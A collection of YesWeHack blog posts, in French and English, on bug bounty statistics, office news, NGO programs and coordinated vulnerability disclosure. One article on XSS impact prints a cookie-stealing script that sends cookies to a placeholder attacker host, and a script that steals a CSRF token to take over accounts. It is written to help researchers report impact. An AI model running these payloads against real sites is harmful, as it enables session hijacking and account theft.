Datavisualisation : la Crowdsecurity en Europe par YesWeHack

2017 a été une année importante pour YesWeHack, notamment en ce qui concerne le Bug Bounty.

Vous trouverez ci-dessous une infographie qui reprend des données clés tirées de notre plateforme BountyFactory.io durant l’année passée.

En tant que 1re plateforme de Bug Bounty en Europe, c’est la première fois que des chiffres sont publiés.

Nous sommes fiers de vous annoncer que la communauté d’experts YesWeHack se compose à 67% d’Européens.

En 2017, grâce à notre communauté d’experts,  plus de 2000 bugs ont été remontés dont 40% étaient considérés comme critiques avec un score CVSS supérieur ou égal à 7.

DataViz European Bug Bounty

Le Bug Bounty fait partie d’une politique opérationnelle plus générale de divulgation coordonnée de vulnérabilités.

The Dark Side of XSS revealed

Cross-site scripting (XSS) is one of the most common web application vulnerabilities and is still present in the OWASP Top 10-2017.

The goal of this paper is not to explain how to bypass antiXSS filter in browser or WAF protection, but to figure out what possibilities are offered by XSS vulnerabilities.

CISOs like Bug Bounty Managers need to pay attention to this kind of vulnerability which -at times- can be critical through the first steps of chaining.

Description

The exploitation of an XSS vulnerability is the ability for an attacker to inject client-side scripts.

When bug hunting, XSS flaw is often the first look for a researcher but sometimes, this vulnerability is not fully exploited so that its impact is not well explained in the report to the Bug Bounty Program owner (who is not always a security specialist). Too often, this can lead to a small reward and therefore to some frustration on behalf of the researcher.

Potential Impact

XSS flaws allow to execute JavaScript under the victim’s domain, therefore the exploitation of these vulnerabilities is not limited to cookie stealing and can lead to other security issues.
To optimize or to correctly qualify a XSS bug and – as a matter of duty – one IT researcher needs to explain for the CISO to understand all the consequences beyond the exploitation of cookies stealing.

Account/Session takeover via Cookie stealing

Cookies stealing is the best known explanation and exploitation for XSS flaws but this attack is only possible if cookies are not protected by HttpOnly.
HttpOnly flag disallows the possibility to access cookies through JavaScript and will return an empty string.
Basically, if HttpOnly flag is missing, cookie stealing can be done with this example and will lead to Session Hijacking:

<script>
document.write("<img src='http://XXXXXXXXX/steal.php?c="+escape(document.cookie)+"'/>");
</script>

If one user is logged on the application and visits one page containing this payload, the JavaScript execution will create an img tag with, as source, the url of attacker’s completed by the victim’s cookies as you can see below :

CSRF protection Bypass

Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated.

Basically, CSRF Attack is possible when submitting a form that does not contain a protection mechanism to ensure the action is legit.
Protection against this kind of vulnerability would be to add a randomly generated token as a parameter or cookie.
When the request is submitted, the server checks the expected value for this token and compares it to the value in the request. The request will fail if value does not match.

XSS can be used to bypass all CSRF protections, so it allows to automate any action that any user/admin can do via the application.

Example with a tailored email form protected by Anti-CSRF token :

<form method ="post" action="new_mail.php">
New email : <input type="text" name="new_email" value=""/><br />
Confirm new email :<input type="text" name="confirm_new_email" value=""/><br />
<input type="hidden" name="_csrf_token" value="DS3gD8sqM9xdo0WqncDE40Okd5GQ21sP"/>
<input type="submit" name="submit" value="Change Email"/><br />
</form>

As you can see, there is a hidden input named _csrf_token with a random value in this form.

Exploitation of XSS vulnerability will allow to access anti-CSRF token and automate the email changing action of the victim’s account:

<script>

/* STEP 1 GET Request to get token Value*/

var req = new XMLHttpRequest();
req.open("GET", "change_email.html", false);
req.send(null);
if (req.readyState == 4 && req.status == 200) {
/* Get token value from response */
var resp = req.responseText;
pattern = "name=\"_csrf_token\" value=\"(.*)(?=\")";
var token = resp.match(pattern)[1];

/* STEP 2 POST Request to change email automatically */
var http = new XMLHttpRequest();
var url = "new_mail.php";
var params = "new_email=attacker@email.com&confirm_new_email=attacker@email.com&_csrf_token="+token+"&submit=Change+Email";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
if(http.readyState == 4 && http.status == 200) {
alert(http.responseText);
}
}
http.send(params);
}
</script>

This attack is led through 2 stages, first, the script gets the token’s value by requesting the form page.
Once done, the script automatically sends a POST request with the attacker’s email address as parameter and the expected token value.
If no confirmation for this new email address is done via password for instance, this type of attack can lead to account takeover !

SOP/CORS Policy

The same-origin policy restricts how a document or script loaded from one origin can interact with a resource from another origin. It is a critical security mechanism for isolating potentially malicious documents.

As XSS flaw allows the request to come from the same domain, the exploitation of this vulnerability bypass same-origin policy.
Another point is that if there are any XSS flaws on a website, it can be used to access resources protected by Cross Origin Request Sharing policy to that allowed domain, so do not forget to check if some critical resources can be accessed from this domain.

Conclusion

XSS vulnerabilites consequences are often underestimated, so explore all possibilities offered by this kind of vulnerability within a bug bounty program. This would show the Bug Bounty Program Manager and CISOs how to correctly apprehend the impact of your findings and to better qualify your report.

And last but not least, as IT Security Researchers please do not forget to always add a Proof of Concept to your report.


Read more about XSS’ world:

KNOXSS for Dummies!
Browser’s XSS Filter Bypass Cheat Sheet

Pépinière d'entreprises _ Atalante Beaulieu

YesWeHack ouvre des bureaux à Rennes et contribue à l’écosystème cybersec en Bretagne

Depuis 2013, YesWeHack n’a cessé de croître et se renforce aujourd’hui avec de nouveaux locaux, au sein de la pépinière numérique à Cesson-Sévigné, en Bretagne, deuxième région « cybersec » après l’Ile-de France.

Le marché de la cybersécurité, particulièrement attractif, attire aussi bien une clientèle nationale qu’internationale. Afin de répondre aux attentes de cette clientèle exigeante, notre équipe s’agrandit et prend ses quartiers à la pépinière numérique à Cesson-Sévigné.

L’équipe YesWeHack bénéficie désormais de locaux dédiés où Romain LECOEUVRE (CTO), Laurent JOUANNIC (Business Development) et Nicolas DIAZ (Communication) auront un accès plus aisé pour coopérer et échanger avec les décideurs et les porteurs de projets bretons.

Comme le souligne Guillaume Vassault-Houlière, CEO de YesWeHack :

«L’expertise cybersécurité de la Bretagne s’appuie sur une longue tradition de télécom et de défense. Nous avons souhaité apporter nos savoir-faire et renforcer notre présence territoriale sur cette terre d’excellence.»

YesWeHack peut désormais compter sur une équipe ancrée en Bretagne en plus de ses membres basés en Provence-Alpes-Côte d’Azur, Normandie, Île-de-France et Auvergne-Rhône-Alpes.

Avec plus de 3000 vulnérabilités remontées depuis son lancement sur BountyFactory.io, la première plateforme européenne de Bug Bounty, YesWeHack continue son développement pour mieux promouvoir son expertise et le savoir-faire notoire de sa communauté de plus de 3700 experts en cybersécurité présents dans 74 pays à travers le monde.

« Lors du lancement d’un Bug Bounty, il est primordial de créer un cercle de confiance dans lequel toutes les parties sont gagnantes afin de mieux lutter contre les menaces émergentes. » précise Romain Lecoeuvre,CTO de YesWeHack.

La localisation de la métropole rennaise est non seulement un hub d’importance en Bretagne, mais aussi une passerelle vers Paris.

À travers l’ouverture de ses bureaux en terre bretonne, YesWeHack confirme son développement en tant que référence du Bug Bounty en France et plus largement en Europe.

Credit Photo : © J. Mignot Rennes Ville et Métropole

Le Réseau Thématique French Tech #Security #Privacy

Guillaume Vassault Houlière, CEO de YesWeHack, est un des ambassadeurs du Réseau Thématique French Tech #Security #Privacy .

Ce réseau a pour objectifs d’organiser un Tour de France sur la thématique “security & privacy” afin de fédérer l’écosystème, de développer et valoriser à l’international le savoir-faire des acteurs français en matière de cybersécurité.

Ce tour permettra notamment de continuer la sensibilisation des utilisateurs en entreprise (PME, ETI et Grands Groupes) à la sécurité et à la protection des données personnelles. C’est là une des clefs de la réussite de la transformation numérique.

Une des missions principale du réseau est l’identification des startups axées sur la cyber-Securité et la protection des données personnelles. L’idée c’est de procéder à un inventaire des besoins et de motiver des entrepreneurs « emblématiques » pour qu’ils deviennent des business angels et/ou des mentors.

Enfin, le réseau et tous ses acteurs ont pour activité la promotion du fonds French Tech Accélération aux entrepreneurs pouvant réinvestir dans l’écosystème.

En savoir plus sur la feuille de route

Open Source, NGOs & Hackers : Unity is strength

YesWeHack is definitely a group of passionate people who all have become professionals. As passionate people, we do have principles and it is precisely these principles that keep us on the right path of our social, economic and financial development.

For some of you, you’ve been noticing that we are operating in a competitive world without forgetting our fundamentals.
We are willing to defend the common goods mainly the Internet neutrality, Press Freedom, Open Source (software & hardware).

To us, those 3 pillars – amongst others – are strong allies for Civil Society and especially for NGOs to defend and promote Human Rights.

This is the reason why we do care about helping NGOs and non-profit organizations who share the same principles.

Cooperation is good for all of us !

In 2017, our community of security researchers participated in 3 bug bounty programs powered by our Bounty Factory :

In june 2017, the first program was launched by OCCRP and it exposed one tool of the organization : VIS.OCCRP.org

As a matter of fact, OCCRP is involved in the original Panama Papers, Paradise Papers amongst many other projects.

As one of the world’s largest investigative reporting organizations, OCCRP is very concerned with security of their journalists and sources.

With this in mind, OCCRP started a bug bounty program with YesWeHack !

In October 2017, OCCRP did it again by submitting another scope  investigativedashboard.org made of Open Source components namely : Django, Ember.js, Bootstrap 3, PostgreSQL , Oauthlib.

    • The Investigative Dashboard (ID) is a platform of tools and services that help journalists to follow the money and uncover corruption. At its core are IDresearch requests, a request tracking mechanism that allows journalists to get help from one of OCCRP’s experienced researchers.

We have chosen YesWeHack based on a recommendation, and we are happy to say that YesWeHack went beyond what we had expected or hoped for.
Michał “rysiek” Woźniak, Chief Information Security Officer from OCCRP.org

Collaboration between OCCRP and YesWeHack results in this page 🙂

*

As for the third bug bounty program, it was launched in October 2017 thanks to Reporters Without Borders and aimed at hardening a brand new project for investigative journalism called ForbiddenStories.org

ForbiddenStories.org

    • Forbiddenstories is a collaborative journalism network devoted to keep stories alive and to publish the work of journalists if they are no longer able to do it themselves. At times, journalists have been killed, jailed or threatened.

Investigative journalism is about providing information on crucial issues such as the fight against corruption, environmental protection and human rights. To accomplish this mission and in particular through ForbiddenStories, cooperation with YesWeHack has proven to be obvious because ethical hackers help us to better secure our means of communication and therefore our data.
Laurent Richard | Spokesperson of ForbiddenStories.org

So truly, YesWeHack is honored and proud to help ForbiddenStories for this project is willing to use above all Open Source Software like WordPress, SecureDrop, GNUPG, Signal.

*

Unity is Strength and beyond those examples, YesWeHack has been working with several organizations that improve Open Source. For security reasons, as you may guess, we cannot give details concerning those private bug bounty programs 🙂

No worries, if your project is non-profit and made of Open Source bricks we would be glad to drop all the fees we charge for usual bug bounty program.

Give it a try & please drop a line to contact@yeswehack.com 🙂

 

Incentive Policy for Coordinated Vulnerability Disclosure

Assessment

For the past ten years or so, organizations have been trying to implement operational policies to avoid “Full Disclosure” reports or “Open Bug Bounty” whose methods are not that good in terms of honesty and responsibility.

Speaking of responsibility, you may be familiar with the notion of “Responsible Disclosure” and you wonder how it differs from the concept of Coordinated Vulnerability Disclosure?

The concept of responsible disclosure has too often been at the root of endless discussions:

On the one hand the vendors denounce “Disclosing a vulnerability without providing patches is not responsible”.
and the other, “Don’t fix this vulnerability as quickly as possible is not responsible”, say security researchers.

During this precious time when both sides argue, the system concerned is at the opponent’s mercy.

In order to move towards greater efficiency and to get out of sterile debates, it is therefore important to avoid speaking of “responsible disclosure”. This is why many organizations advocate the concept of “Coordinated Vulnerability Disclosure” (CVD) in order to promote and strengthen cooperation between the various actors in cybersecurity, all of whom have a common goal: Make the Internet safer.

Coordinated Vulnerability Disclosure

Coordinated Vulnerability Disclosure

Theory & Definitions

Coordinated Vulnerability Disclosure (CVD) is a process aimed at reducing risk and ultimately mitigating potential damage caused by a vulnerability affecting an information system. CVD is a process that cannot be reduced to the deployment of a patch or publication of a report, even though these events are indicators of the efficiency of cooperation.

A bounty bug platform such as Bountyfactory.io facilitates this process by encouraging the cooperation of thousands of security experts and organizations.
Cooperation: it is a key element of Cyber Governance.

Guillaume Vassault Houlière | YesWeHack CEO

Coordinated Vulnerability Disclosure is therefore the process of collecting information from Security Researchers, coordinating the sharing of this information among actors, and disclosing the existence of vulnerabilities (software or even hardware) and their mitigation measures to various stakeholders, including the public.

Coordinated Vulnerability Disclosure significantly increases the likelihood of success of any vulnerability response process. Contributions are often vulnerability reports written by security researchers.

CVD reports for a product (software or hardware) typically include patches as well as vulnerability report documentation or recordings in a vulnerability database.

NB: many operational vulnerabilities can be corrected by the operator and do not necessarily result in public disclosure.

Vulnerability disclosure is a process by which vendors and people who discover vulnerabilities can work collaboratively to find solutions that reduce the risks associated with a vulnerability.

ISO/IEC 29147 standard defining Vulnerability Disclosure

This process includes actions such as the reporting, coordination and publication of information on one vulnerability, its mitigation or, ideally, its remediation.

Let’s zoom in the concept :

Principles:

  • Reduce the risk of damage
  • Believe in good deeds, believe in good Samaritans
  • Avoid randomness
  • Boost cooperation
  • Follow the code of ethics
  • Learn from the OODA loop
  • Consider CVD as a process navigating between the “best” and the “worst”.

Goals:

  • Ensure that identified vulnerabilities are – well – addressed;
  • Reduce the risk of vulnerability;
  • Provide users with sufficient information to assess the risks associated with the vulnerabilities of their systems;

StakeHolders:

Coordinated Vulnerability Disclosure commonly begins with the detection of a vulnerability and ends with the deployment of patches or mitigation.

Therefore, several actors are involved in the CVD process:

  • Security researcher – the person or organization that identifies vulnerability.
  • Reporter – the person or organization who notifies the vendor
  • Vendor – the individual or organization that created or maintains the product that is vulnerable
  • System Administrator – an individual or organization that must implement a corrective action or take other corrective actions.
  • Coordinator – an individual or organization that facilitates the coordinated response process

Steps:

  • Discovery – Someone discovers a vulnerability in a product.
  • Report – The product vendor or a third party coordinator receives a vulnerability report.
  • Qualification – The recipient of a report validates it to ensure its accuracy before prioritizing it for further action.
  • Remediation – A remediation plan (ideally a software patch) is developed and tested.
  • Public Awareness – Vulnerability and corrective measures are disclosed to the public.
  • Deployment – Corrective measures are applied to the systems concerned.

The reporting step is important because it requires the creation of secure channels to ensure that transmitted information is not intercepted by a third party.

However, there are some obstacles within the process:

  • No vendor contact available – This may occur because a contact could not be found or because the contact is not reactive.
  • Termination of cooperation – participants in the CVD process may have other priorities that attract their attention.
  • Information leakage – Whether intentional or unintentional, information for a small group of actors can be passed on to others who are not involved in the CVD process.
  • Independent Discovery – Any vulnerability that can be found by one individual can be found by another, and not everyone will tell you about it.
  • Active Exploitation – Evidence that a vulnerability is being actively exploited by adversaries requires accelerating the CVD process to reduce users’ exposure to risk.
  • Communication is deteriorating – CVD is a process of coordinating human activities. As such, its success depends on the quality of the relationships between the participants.
  • Marketing – In some cases, vulnerabilities can be used as a marketing tool. This is not always conducive to the smooth running of the CVD process.

To sum up:

Vulnerability disclosure practices are no longer restricted to web applications. The Internet of Things and the constellation of SCADA systems, connected health devices, CCTV, Connected cars, etc. have become so dependent on software and the Internet that they increase the exposure perimeter and will inevitably be exposed to new attacks.

The Coordinated Vulnerability Disclosure is a major ally to federate the largest number of cyberspace actors and stimulate the exchange of knowledge to ensure both security and privacy protection by design.

By encouraging cooperation, CVD will enable all stakeholders not only to defend their common information assets but also to fight more effectively against the black market and the resale of Zerodays.

*

The set is now planted, so let’s switch from theory to practice.

Security.txt: the promising RFC!

In order to respond to the lack of contacts available to disclose a vulnerability on a website, security researcher EdOverflow, well inspired by the role of the famous robots. txt, suggested since the beginning of August 2017 to include in each website the file security.txt as a reference file containing the procedure to be followed to disclose more effectively to the editor of a site a bug, a vulnerability.

This approach has the merit of establishing clear guidelines for security researchers on how to report security issues and allows bug bounty programs to use them as a basis for defining the attack perimeter for future researchers.

[Edit] Where should I put the security.txt file?

The security.txt file should be placed under the /.well-known/ path (/.well-known/security.txt) [RFC5785].

*

Bug Bounty as part of your disclosure policy

As part of agile development on their own products, more and more vendors are choosing to be proactive by stimulating and cooperating with IT researchers:

  • by relying on in-house resources and expertise;
  • by contracting directly with external researchers;
  • via a platform that will connect researchers and one vendor. The latter will therefore pay for the result and will be able to choose between various options such as program management or even patch management if its internal resources are not sufficient.

NB: The creation and long-term implementation of a Bug Bounty program is considered as an indicator of the maturity of publishers’ E-governance in terms of vulnerability.

Since 2013, YesWeHack has been developing tools that greatly facilitate the implementation of an incentive policy for CVD.

YesWeHack, its community and ecosystem of services enable organizations and IT security researchers to better cooperate.

Thanks to the tools developed by YesWeHack, beneficiary organizations can more easily overcome the obstacles encountered by their CVD policy. In addition, organizations gain reputation by demonstrating their appetite and willingness for continuously improving their systems.

Bountyfactory.io as the first European platform of Bug bounty.

Differentiating criteria

  • Cooperation with European partners and providers as a matter of sovereignty.
  • Legal and technical infrastructure that meets the highest security requirements.
  • Security and confidentiality of communications based on encryption and compliance with ISO standards.
  • Securing financial transactions between organizations and security researchers.
  • Payment platform compliant with European anti-money laundering and anti-terrorist financing arrangements.
  • Support throughout the entire process: from the drafting of the program to assistance with corrective measures.
  • Operational ranking of the best researchers: Management of a security research community.
  • Reactivity that enables the best researchers to be mobilized in record time.
  • Ability to organize different types of Bounty bug programs (Private / Public / In situ / Hardware and/or Software).

Give it a try ! Register on BountyFactory.io

What should I do if a product does not offer Bug Bounty or Security.txt?

Zerodisclo.com

Zerodisclo.com

A simple and effective tool to avoid full disclosure of vulnerabilities in the wild.

It is important to note that some products (software or hardware) do not have their own Bug Bounty program. Thus, it is difficult for a security researcher to report a vulnerability to a vendor. Not all countries have a law allowing this kind of practice, as is the purpose of Article 47 of the Law for a Digital Republic initiated by ANSSI.

YesWeHack has created Zerodisclo.com to facilitate the escalation of vulnerabilities in a secure and even anonymous way and put in touch the different actors working for a safer Internet.

Thanks to Zerodisclo several obstacles are removed: no login, anonymization of the report via the Tor (.onion) network and mandatory and automatic encryption of the report content with the public PGP key of the CERT chosen.

The list of CERTs included in ZeroDisclo.com

Please find below the infographic of ZeroDisclo.com

Politique Incitative à la Divulgation Coordonnée de Vulnérabilités.

 ☄ Constat

Depuis une dizaine d’années, les organisations tentent de mettre en place des politiques opérationnelles pour éviter les rapports sauvages de failles ou autre “Full Disclosure” ou “Open Bug Bounty” dont les méthodes laissent à désirer en terme d’honnêteté et de responsabilité.

A propos de responsabilité, vous connaissez peut-être la notion “Divulgation Responsable” ( Responsible Disclosure – chez nos amis anglophones) et vous vous demandez en quoi elle est différente de la Divulgation Coordonnée de Vulnérabilités?

Le concept de divulgation responsable a trop souvent été au cœur de discussions sans fin :

  • d’un côté les vendeurs/éditeurs s’insurgent “Divulguer une vulnérabilité sans fournir de patchs n’est pas responsable”
  • et de l’autre “Ne pas corriger cette vulnérabilité au plus vite n’est pas responsable”, rétorquent les chercheurs en sécurité.

Pendant ce temps précieux où les parties se chamaillent, le système concerné est à la merci de l’adversaire et ce dernier en profite pour commettre ses méfaits.

Afin de tendre vers plus d’efficacité et sortir des débats stériles, il convient donc d’éviter de parler de “divulgation responsable”. C’est la raison pour laquelle de nombreuses organisations plaident en faveur du concept de “Divulgation Coordonnée de Vulnérabilités” (DCV) afin de promouvoir et renforcer la coopération entre les différents acteurs de la cybersécurité qui tous ont un objectif commun : rendre l’Internet plus sûr.

Coordinated Vulnerability Disclosure

☄ Théorie & Définitions

La Divulgation Coordonnée de Vulnérabilités ( DCV ) est un processus visant à réduire les risques et in fine à atténuer les dommages potentiellement causés par une vulnérabilité ciblant un système d’information. La DCV ( CVD en anglais ) est un processus que l’on ne peut pas réduire au déploiement d’un correctif ou à la publication d’un rapport quand bien même ces événements sont des indicateurs de l’efficience de la coopération.

Une plateforme de bug bounty telle que Bountyfactory.io facilite ce processus en incitant à la coopération des milliers d’experts en sécurité et des organisations.
La coopération : c’est une pièce maîtresse de la Cyber-Gourvernance.

Guillaume Vassault Houlière | YesWeHack CEO

La divulgation coordonnée des vulnérabilités est donc le processus qui consiste à collecter des informations auprès des chercheurs de vulnérabilités, à coordonner le partage de ces informations entre les acteurs et à divulguer l’existence de vulnérabilités (logicielles voire matérielles) et leurs mesures d’atténuation à diverses parties prenantes, y compris le grand public.

La divulgation coordonnée des vulnérabilités accroît de manière significative les chances de réussite de tout processus de réponse à vulnérabilité. Les contributions sont souvent des rapports de vulnérabilité rédigés par des chercheurs en sécurité.

Les rapports DCV concernant un produit (logiciel ou matériel) comprennent généralement des correctifs ainsi que des documents de rapport de vulnérabilité ou des enregistrements dans une base de données de vulnérabilités.

NB: de nombreuses vulnérabilités opérationnelles peuvent être corrigées par l’opérateur et elles ne se traduisent pas forcément par une divulgation publique.

La divulgation des vulnérabilités est un processus par lequel les fournisseurs et les personnes qui découvrent des vulnérabilités peuvent travailler en collaboration pour trouver des solutions qui réduisent les risques associés à une vulnérabilité.

Norme ISO/CEI 29147 définissant la Divulgation de Vulnérabilités

Ce processus comprend des actions telles que le signalement, la coordination et la publication d’informations sur une vulnérabilité, son atténuation voire, dans l’idéal, sa résolution.

A ce stade, décortiquons la DCV :

Les principes:

  • Réduire les risques donc les dommages
  • Croire aux bonnes actions donc aux bons samaritains
  • Éviter le hasard
  • Stimuler la coopération
  • Suivre la déontologie
  • Apprendre de la boucle OODA
  • Considérer la DCV comme un processus naviguant entre le “meilleur” et le “pire”.

Les objectifs :

  • veiller à ce que les vulnérabilités identifiées soient prises en compte;
  • réduire au minimum le risque de vulnérabilité;
  • fournir aux utilisateurs suffisamment d’informations pour évaluer les risques liés aux vulnérabilités de leurs systèmes;

Les acteurs :

La Divulgation Coordonnée de Vulnérabilités commence communément par la détection d’une vulnérabilité et se termine par le déploiement de correctifs ou d’atténuation.

Par conséquent, plusieurs acteurs sont impliqués dans le processus de CVD :

  • Chercheur en sécurité – la personne ou l’organisation qui identifie la vulnérabilité.
  • Rapporteur – la personne ou l’organisation qui avise le fournisseur de la vulnérabilité.
  • Fournisseur – la personne ou l’organisation qui a créé ou entretient le produit vulnérable.
  • Administrateur système – personne ou organisation qui doit déployer un correctif ou prendre d’autres mesures correctives.
  • Coordinateur – personne ou organisation qui facilite le processus d’intervention coordonnée.

Les étapes :

  • Découverte – Quelqu’un découvre une vulnérabilité dans un produit.
  • Rapport – Le fournisseur du produit ou un tiers coordinateur reçoit un rapport de vulnérabilité.
  • Qualification – Le destinataire d’un rapport le valide pour s’assurer de son exactitude avant de le prioriser en vue d’une action ultérieure.
  • Remédiation – Un plan d’assainissement (idéalement un correctif logiciel) est élaboré et mis à l’essai.
  • Sensibilisation du public – La vulnérabilité et les mesures correctrices sont divulguées au public.
  • Déploiement – Les mesures correctrices sont appliquées aux systèmes concernés.

La phase de rapport est importante car elle requiert de créer des canaux sécurisés pour éviter que les informations transmises soient interceptées par une tierce partie.

Ce processus connaît cependant des obstacles :

  • Aucun contact du fournisseur disponible – Ceci peut se produire parce qu’un contact n’a pas pu être trouvé ou parce que le contact n’est pas réactif.
  • Cessation de coopération – les participants au processus de DCV pourraient avoir d’autres priorités qui attirent leur attention.
  • Fuites d’information – Qu’elles soient intentionnelles ou non, les informations destinées à un groupe restreint d’acteurs, peuvent être transmises à d’autres personnes qui ne participent pas au processus de DCV.
  • Découverte indépendante – Toute vulnérabilité qui peut être trouvée par un individu peut être trouvée par un autre, et tous ne vous en parleront pas.
  • Exploitation active – Les preuves qu’une vulnérabilité est activement exploitée par des adversaires nécessitent d’accélérer le processus de DCV pour réduire l’exposition des utilisateurs au risque.
  • La communication se détériore – La DCV est un processus de coordination d’activités humaines. En tant que tel, son succès dépend de la quatité des relations entre les participants.
  • Marketing – Dans certains cas, les vulnérabilités peuvent être utilisées comme un outil de marketing. Cela n’est pas toujours propice au bon déroulement du processus de DCV.

En synthèse :

Les pratiques de divulgation des vulnérabilités ne se limitent plus aux applications web. L’Internet des objets et la constellation de systèmes SCADA, d’appareils de santé connectés, de caméras de surveillance, de voitures connectées, de drones, etc. sont devenus tellement dépendants des logiciels et de l’Internet qu’ils augmentent le périmètre d’exposition et, de ce fait, seront inéluctablement exposés à de nouvelles attaques.

La Divulgation Coordonnée de Vulnérabilités est une alliée majeure pour fédérer le plus grand nombre d’acteurs du cyberespace et stimuler l’échange de savoirs pour mieux assurer dès la conception : la sécurité et la protection de la vie privée.

En incitant à la coopération, la DCV permettra à tous les acteurs de la cybersécurité non seulement de défendre leurs bastions et leurs patrimoines informationnels mais aussi de lutter plus efficacement contre le marché noir et/ou la revente de Zerodays.

*

 ☄Le décor est maintenant planté,

alors passons de la théorie à la pratique.

Security.txt : la prometteuse RFC !

Afin de répondre au manque de contacts mis à disposition pour divulguer une vulnérabilité sur un site web , le chercheur en sécurité EdOverflow, bien inspiré par le rôle du fameux robots.txt, a suggéré depuis début août 2017 d’inclure dans chaque site web le fichier security.txt comme fichier de référence contenant la marche à suivre pour divulguer plus efficacement à l’éditeur d’un site un bug, une vulnérabilité.

Cette méthode a le mérite d’établir des lignes directrices claires pour les chercheurs en sécurité sur la façon de signaler les problèmes de sécurité et permet aux programmes de bug bounty de s’en inspirer pour mieux définir le périmètre d’attaque proposé aux futurs chercheurs.

Security.txt est une ébauche qui a été soumise à l’examen de la RFC. Cela signifie que security.txt en est encore aux premiers stades de développement. Vous pouvez y contribuer sur github !

*

Le Bug Bounty comme composant de votre politique de divulgation

Dans le cadre d’un développement agile sur leurs propres produits, de plus en plus de fournisseurs choisissent d’être pro-actifs en stimulant et en coopérant avec les chercheurs de vulnérabilités :

  • soit en misant sur les ressources et expertises en interne.
  • soit en contractant directement avec des chercheurs externes
  • soit en passant par une plateforme qui va mettre en relation des chercheurs et l’éditeur de la solution. Ce dernier paiera donc au résultat et pourra choisir différentes formules et options payantes telles que le management de programme voire le patch management si ses ressources en interne ne sont pas suffisantes.

NB : La création et l’instauration dans la durée d’un programme de Bug Bounty sont considérées comme des indicateurs de maturité de la cybergouvernance des éditeurs en matière de vulnérabilité.

Depuis 2013, YesWeHack travaille au développement d’outils qui facilitent grandement la mise en place d’un politique incitative à la divulgation coordonnée de vulnérabilités.

YesWeHack, sa communauté et son écosystème de services permettent aux organisations et aux chercheurs en sécurité informatique de mieux coopérer.

Grâce aux outils développés par YesWeHack, les organisations bénéficiaires peuvent contourner plus aisément les obstacles rencontrés par leur politique de DCV. De plus, les organisations gagnent en notoriété en démontrant leur appétence et leur volonté d’améliorer en continu leurs systèmes.

Bountyfactory.iola première plateforme Européenne de Bug bounty.

Les critères différenciants

  • un recours à des partenaires et prestataires Européens pour des questions de souveraineté.
  • une infrastructure légale et technique qui répond aux exigences de sécurité les plus élevées.
  • la sécurité et la confidentialité des communications basées sur le chiffrement et le respect des normes ISO.
  • une sécurisation des transactions financières entre les organisations et les chercheurs en sécurité.
  • une plateforme de paiement conforme aux dispositifs européens de lutte contre le blanchiment d’argent et contre le financement du terrorisme.
  • un accompagnement tout au long du processus : de la rédaction du programme jusqu’à l’aide aux correctifs.
  • un classement opérationnel des meilleurs chercheurs : Gestion d’une communauté de chercheurs en sécurité.
  • une réactivité qui permet de mobiliser les meilleurs chercheurs en un temps record.
  • une capacité d’organisation de différents types de programmes de bug Bounty (Privé / public / In situ / Hardware et/ou Software).

Pour vous inscrire c’est par là > BountyFactory.io

Quelle démarche adopter si un produit ne propose ni Bug Bounty ni Security.txt ?

Zerodisclo.com

Zerodisclo.com

Un outil simple et efficace pour éviter les remontées sauvages de vulnérabilités.

Il est important de noter que certains produits (logiciel ou physique) ne disposent pas de leur propre programme de Bug Bounty. Il est ainsi délicat pour un chercheur en sécurité de pouvoir remonter une vulnérabilité à une société éditrice. Tous les pays ne disposent pas d’une loi permettant ce type de pratique comme c’est l’objet de l’article 47 de la Loi pour une République numérique initiée par l’ANSSI.

YesWeHack a crée Zerodisclo.com pour faciliter les remontées de vulnérabilités de façon sécurisée voire anonyme et ainsi mettre en relation les différents acteurs œuvrant pour un Internet plus sûr.

Grâce à Zerodisclo plusieurs obstacles sont levés : pas de login, anonymisation du rapport via le réseau Tor (.onion) et chiffrement obligatoire et automatique du contenu du rapport avec la clef PGP publique du CERT choisi.

La liste des CERTs inclus dans ZeroDisclo.com

A titre d’exemple : vous pouvez rapporter directement au CERT FR en cliquant sur le lien suivant > https://zerodisclo.com/#cert-fr

Ci-dessous une infographie qui résume le processus :

***

Cybersecurity & Bug Bounty: Attack is the best form of defense

uillaume Vassault-Houlière President of Yes We HackBy Guillaume Vassault-Houlière | CEO of YesWeHack

Through our European platform BountyFactory.io, Bug Bounty is gaining respectability in France and Europe.

Bug Bounty is an innovative and operational practice from the United States that rewards security experts who find security flaws in IT systems.

Within a complex geopolitical context, Europe and France can compete in defending a European model of digital sovereignty.

In the light of new threats and given reports of organizations that are victims of piracy and irreversible damage, some innovative cyber security policies and approaches need to be adopted.

Cybersecurity is a powerful ally for leading digital transformation.

Like the United States, France and Europe must capitalize on the IT security talents of the European zone for those are the talents who will consolidate the digital fortresses of tomorrow.

Today, thanks to BountyFactory.io, the first European Bug Bounty platform developed by YesWeHack, organizations have an additional tool in their defensive arsenal. Based on a community of more than 3,000 IT security researchers, organizations can significantly increase the security degree of their information systems.

Commonly, organizations are used to planning audits or penetration tests led by a limited number of IT experts during a restricted time window. Although this kind of audit is recommended, it is far from sufficient for protecting information assets.

Keep in mind that cyber criminals do not ask for clearance to damage one targeted infrastructure.

Through a Bug Bounty program, an organization can thus simulate the real conditions of an attack while imposing IT researchers a legal framework. BountyFactory.io is the appropriate tool to harden information systems and build a relationship of trust between organizations and the IT security experts.

BountyFactory.io, with the striking force of our community, allows any type of organization to test a web site, a mobile application, web services, connected things or embedded systems in order to reduce risks and increase data protection.

As soon as a vulnerability is discovered, the expert reports in details to the initiator of the program. Once the reported vulnerability has been confirmed and validated, the organization can fix the issue and can ideally reward the expert.

In the framework of a Bug Bounty program, the organization only pays for the result and the more critical the flaw, the higher the reward.

BountyFactory.io provides its clients with total control over the entire process: control over the scope, rules, budget, accreditation of experts and, of course, the program can be stopped at any time.

Bug Bounty programs constructively increase developers’ skills.

Furthermore, thanks to Bug Bounty Practice, one organization can communicate positively on its capacity to keep the best level of security, as demonstrated by the US Army and Pentagon in 2016.

BountyFactory.io assists you in the creation of totally private or public Bug Bounty programs. We count among our clients, which we can mention, companies such as Orange, OVH, Qwant or ERCOM.

 

Confronting reality is the duty of every IT security professional

Interview of Stéphane Bourou | Technical Project Manager at Ercom

For 30 years, Ercom has developed a leadership position in the communications, data and terminal security markets.
This position is based on complementary technological expertise in Telco/cloud infrastructure, cryptography and software and on shared values: innovation, expertise, commitment and confidentiality.

Our products and expertise are recognized in France and internationally by major companies, customers, partners and certification entities.

All our solutions are certified or in the process of certification by ANSSI.

